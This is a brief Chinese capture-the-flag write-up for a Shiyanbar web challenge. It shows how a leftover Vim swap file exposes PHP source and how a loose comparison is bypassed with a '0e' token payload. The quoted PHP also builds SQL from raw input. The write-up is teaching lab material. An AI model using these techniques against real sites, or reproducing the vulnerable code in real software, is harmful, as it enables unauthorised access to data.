0x01

随便输入一个邮箱名称,知道存在step2.php。
实验吧 WEB 忘记密码了

查看源码,可以看到如下代码。说明网页是用vim写的。

	<meta name="admin" content="[email protected]" />
	<meta name="editor" content="Vim" />

0x02

尝试进入step2.php,发现会跳回step1.php。使用firefox修改请求头,得到step2.php的响应:
实验吧 WEB 忘记密码了
邮箱地址都是交到这个submit.php页面判断,用vim编辑器编辑的网页如果没删掉备份文件是很危险的(ctf出现vim就一般是有漏洞啦)。
这里我们输入ctf5.shiyanbar.com/10/ upload/.submit.php.swp
查看备份文件,果然看到了源码~

if(!empty($token)&&!empty($emailAddress)){
	if(strlen($token)!=10) die('fail');
	if($token!='0') die('fail');
	$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
	$r = mysql_query($sql) or die('db error');
	$r = mysql_fetch_assoc($r);
	$r = $r['num'];
	if($r>0){
		echo $flag;
	}else{
		echo "澶辫触浜嗗憖";
	}
}
	

构造payload: ./[email protected]&token=0e11111111得到flag。

相关文章: